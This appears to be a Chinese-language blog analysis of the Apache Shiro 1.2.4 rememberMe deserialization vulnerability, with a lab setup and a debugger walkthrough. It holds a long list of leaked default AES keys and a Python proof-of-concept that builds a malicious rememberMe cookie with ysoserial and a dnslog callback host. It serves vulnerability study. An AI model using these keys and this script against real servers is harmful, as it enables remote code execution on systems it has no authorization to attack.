Apache Shiro是一个功能强大且易于使用的Java安全框架,用于进行身份验证、授权、加密和会话管理等安全操作。
2016年网络中曝光 Apache Shiro 1.2.4 以前的版本存在反序列化漏洞,尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。
Apache Shiro<= 1.2.4
Apache shiro框架提供了记住我的功能(Rememberme),用户登录成功会生成加密且编码过的Cookie,其生成过程为
反序列化->AES加密->BASE64加密->cookie值
因为其AES是硬编码的,其AES密钥是固定的,所以只需要知道AES的密钥就能修改Rememberme进行恶意类执行
反序列化发生在AbstractRememberMeManager类中,在默认配置下,该类使用Java的标准ObjectInputStream类进行反序列化。而Java的ObjectInputStream类可以反序列化任何实现Serializable接口的对象,攻击者可以构造一个带有恶意代码的Serializable对象,然后将其序列化,并在HTTP请求中发送给目标服务器,由于服务器端的Shiro框架使用默认的配置进行反序列化,就会将这个恶意对象反序列化为Java对象,并执行其中的恶意代码,导致攻击者能够获取系统权限。
常用密钥
[x] kPH+bIxk5D2deZiIxcaaaA==
[x] 2AvVhdsgUs0FSA3SDFAdag==
[x] 3AvVhmFLUs0KTA3Kprsdag==
[x] 4AvVhmFLUs0KTA3Kprsdag==
[x] 5aaC5qKm5oqA5pyvAAAAAA==
[x] 6ZmI6I2j5Y+R5aSn5ZOlAA==
[x] bWljcm9zAAAAAAAAAAAAAA==
[x] wGiHplamyXlVB11UXWol8g==
[x] Z3VucwAAAAAAAAAAAAAAAA==
[x] MTIzNDU2Nzg5MGFiY2RlZg==
[x] zSyK5Kp6PZAAjlT+eeNMlg==
[x] U3ByaW5nQmxhZGUAAAAAAA==
[x] 5AvVhmFLUs0KTA3Kprsdag==
[x] bXdrXl9eNjY2KjA3Z2otPQ==
[x] fCq+/xW488hMTCD+cmJ3aQ==
[x] 1QWLxg+NYmxraMoxAXu/Iw==
[x] ZUdsaGJuSmxibVI2ZHc9PQ==
[x] L7RioUULEFhRyxM7a2R/Yg==
[x] r0e3c16IdVkouZgk1TKVMg==
[x] bWluZS1hc3NldC1rZXk6QQ==
[x] a2VlcE9uR29pbmdBbmRGaQ==
[x] WcfHGU25gNnTxTlmJMeSpw==
[x] ZAvph3dsQs0FSL3SDFAdag==
[x] tiVV6g3uZBGfgshesAQbjA==
[x] cmVtZW1iZXJNZQAAAAAAAA==
[x] ZnJlc2h6Y24xMjM0NTY3OA==
[x] RVZBTk5JR0hUTFlfV0FPVQ==
[x] WkhBTkdYSUFPSEVJX0NBVA==
[x] GsHaWo4m1eNbE0kNSMULhg==
[x] l8cc6d2xpkT1yFtLIcLHCg==
[x] KU471rVNQ6k7PQL4SqxgJg==
[x] 0AvVhmFLUs0KTA3Kprsdag==
[x] 1AvVhdsgUs0FSA3SDFAdag==
[x] 25BsmdYwjnfcWmnhAciDDg==
[x] 3JvYhmBLUs0ETA5Kprsdag==
[x] 6AvVhmFLUs0KTA3Kprsdag==
[x] 6NfXkC7YVCV5DASIrEm1Rg==
[x] 7AvVhmFLUs0KTA3Kprsdag==
[x] 8AvVhmFLUs0KTA3Kprsdag==
[x] 8BvVhmFLUs0KTA3Kprsdag==
[x] 9AvVhmFLUs0KTA3Kprsdag==
[x] OUHYQzxQ/W9e/UjiAGu6rg==
[x] a3dvbmcAAAAAAAAAAAAAAA==
[x] aU1pcmFjbGVpTWlyYWNsZQ==
[x] bXRvbnMAAAAAAAAAAAAAAA==
[x] OY//C4rhfwNxCQAQCrQQ1Q==
[x] 5J7bIJIV0LQSN3c9LPitBQ==
[x] f/SY5TIve5WWzT4aQlABJA==
[x] bya2HkYo57u6fWh5theAWw==
[x] WuB+y2gcHRnY2Lg9+Aqmqg==
[x] 3qDVdLawoIr1xFd6ietnwg==
[x] YI1+nBV//m7ELrIyDHm6DQ==
[x] 6Zm+6I2j5Y+R5aS+5ZOlAA==
[x] 2A2V+RFLUs+eTA3Kpr+dag==
[x] 6ZmI6I2j3Y+R1aSn5BOlAA==
[x] SkZpbmFsQmxhZGUAAAAAAA==
[x] 2cVtiE83c4lIrELJwKGJUw==
[x] fsHspZw/92PrS3XrPW+vxw==
[x] XTx6CKLo/SdSgub+OPHSrw==
[x] sHdIjUN6tzhl8xZMG3ULCQ==
[x] O4pdf+7e+mZe8NyxMTPJmQ==
[x] HWrBltGvEZc14h9VpMvZWw==
[x] rPNqM6uKFCyaL10AK51UkQ==
[x] Y1JxNSPXVwMkyvES/kJGeQ==
[x] lT2UvDUmQwewm6mMoiw4Ig==
[x] MPdCMZ9urzEA50JDlDYYDg==
[x] xVmmoltfpb8tTceuT5R7Bw==
[x] c+3hFGPjbgzGdrC+MHgoRQ==
[x] ClLk69oNcA3m+s0jIMIkpg==
[x] Bf7MfkNR0axGGptozrebag==
[x] 1tC/xrDYs8ey+sa3emtiYw==
[x] ZmFsYWRvLnh5ei5zaGlybw==
[x] cGhyYWNrY3RmREUhfiMkZA==
[x] IduElDUpDDXE677ZkhhKnQ==
[x] yeAAo1E8BOeAYfBlm4NG9Q==
[x] cGljYXMAAAAAAAAAAAAAAA==
[x] 2itfW92XazYRi5ltW0M2yA==
[x] XgGkgqGqYrix9lI6vxcrRw==
[x] ertVhmFLUs0KTA3Kprsdag==
[x] 5AvVhmFLUS0ATA4Kprsdag==
....
该漏洞并没有打补丁,而是去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。所以本质上只要知道密钥,哪个版本都可以进行漏洞利用。
Vulhub
docker-compose up -d
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
使用Tool一键日
在onSuccessfulLogin方法打下断点
步入forgetIdentity()方法
首先判断是否为http服务,然后调用WebUtils的方法处理Request与Response,步入
向Response中添加Cookie,然后步入rememberIdentity方法
PrincipalCollection获取用户身份,也就是root
继续跟进构造方法rememberIdentity(subject, principals)
convertPrincipalsToBytes将root字节化了,步入
可以看到其将root序列化了,步入encrypt方法
可以看到加密方法是使用的AES的CBC加密方式,而且这里有一个getEncryptionCipherKey()方法
步入getEncryptionCipherKey(),查看密钥,可以找到密钥就明码存在于AbstractRememberMeManager类中
步出,进入到rememberSerializedIdentity(subject, bytes),其中AES加密后的序列化数据,又使用base64加密了,下面几行代码就是设置cookie值
到这里加密过程就结束了,流程如下
onSuccessfulLogin() #进入成功登录方法
->forgetIdentity() #在Response中写入cookie
->rememberIdentity(): PrincipalCollection() 获取用户身份->构造方法rememberIdentity(subject, principals)->convertPrincipalsToBytes() 将用户root字节化,其中跟进后可以发现其中首先将root序列化再AES加密,其密钥位于AbstractRememberMeManager类中
->rememberSerializedIdentity(subject, bytes) #将byte流base64加密,并输出到cookie中
此时cookie已经存到了浏览器中,我们只要发送一个带有rememberMe Cookie 的请求就可以触发反序列化
那么反序列化点位于哪里呢?有encrypt函数,就有decrypt函数
查找decrypt用法
查找convertBytesToPrincipals用法
在getRememberedPrincipals打下断点
调用栈向前回溯,并在subjectContext)org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity打下断点
getRememberMeManager()返回是否有RememberMe参数,进入getRememberedPrincipals
这里getRememberedSerializedIdentity获取cookie的值,跟进看看
205行提取页面中cookie,并对cookie做base64解码
步出,跟进convertBytesToPrincipals(bytes, subjectContext)
跟进decrypt()
这里就是使用密钥对之前base64解密的结果再利用shiro密钥进行解密
最后就是反序列化了。
流程如下
getRememberedIdentity() ->
getRememberedPrincipals ->
getRememberedSerializedIdentity() ->
convertBytesToPrincipals() ->
decrypt() ->
deserialized()
附上脚本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
这里在网上找了一个加密脚本,伪造加密流程,但是我们之前分析的链子只是通过密钥泄露找到了一个可利用反序列化接口,仍需要通过cc2和cc4这种利用链去执行命令
通过这次分析,学习到了shiro550反序列化的过程和原因。防御方法:只要不使用网上流传的密钥,就很难被攻击。